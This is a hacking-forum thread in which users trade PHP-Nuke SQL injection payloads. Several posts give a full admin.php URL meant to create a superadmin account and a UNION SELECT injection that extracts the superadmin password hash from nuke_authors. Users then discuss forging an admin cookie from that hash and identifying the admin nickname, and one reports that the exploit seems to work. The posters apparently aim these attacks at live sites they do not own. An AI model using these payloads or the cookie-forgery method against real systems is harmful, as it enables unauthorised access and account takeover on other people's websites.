Waraxe IT Security Portal

zerocool · Regular user

hey anyone can explain me why when iam trying to do something like this

http://somesite.com/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo%20AT%20bar%20DOT%20com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

then i get
Selection from database failed!
????????

its mean that the webpage is secure of this sql injection??

or its Vulnerabilities??

and if its Vulnerabilities can you explain me why?????

and if anyone know how can i add some superadmin user with this http://somesite.com/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo%20AT%20bar%20DOT%20com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

after its tell me Selection from database failed
so its will be great thanks alot

Zerocool

zer0-c00l · Advanced user

another zero cool haha

i think the site isnt vulnerable if shows 'slection from database failed'..
but the string works perfect

zerocool · Regular user

so why its tell me selection from database faild

and its not add a superadmin user

with user:waraxe2 and pass:coolpass

why when iam post this command its only tell me selection from database faild Sad

(( what i need 2 do?

SteX · Advanced user

Site is patched...Site have updated php-nuke version,or have some protection system.. That exploit is old and dont work for 99% php-nuke sites..
Laughing

zerocool · Regular user

Thanks For the help

and i have another Question when iam put this command to a site

modules.php?name=Journal&file=search&bywhat=aid&exact=1&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*

its give me a hash but when iam view the profile of the user that have this hash i see id 0

why its tell me id 0???????
and give me hash to id 0 when i putting this sql injection command Sad

((??

and where i can find the radminsuper id??

SteX · Advanced user

God Admin always has ID 1 ..

zerocool · Regular user

yeah i know god admin is id 1 bro

but when iam doing this sql injection command i see the hash

with viewprofile id 0

why its this?? and how can i figure the God Admin id nickname??

because if i want to change in my cookie to the admin "cookie"

i need to know the id of the radminsuper like this

Stex:d3721b54ee6f43b22910c7e82775d56f

so know i only know the hash:d3721b54ee6f43b22910c7e82775d56f

but i dont know the radminsuper id nickname Sad

(

so i cant do nothing how can i know the superadmin nickname Sad

(?

zerocool · Regular user

hey take off is info in the memberlist but i was doing thing like this

forum-userprofile-2.html&sid=3be12190a8ffa6b4ac8aa8d92cf45381g

and then i so is aid Smile

thanks again bye bye

err · Beginner

when i try i get:

Author's Creation Error

You must complete all compulsory fields

seems like exploit gonna work.. because it shows the menu admin. Cool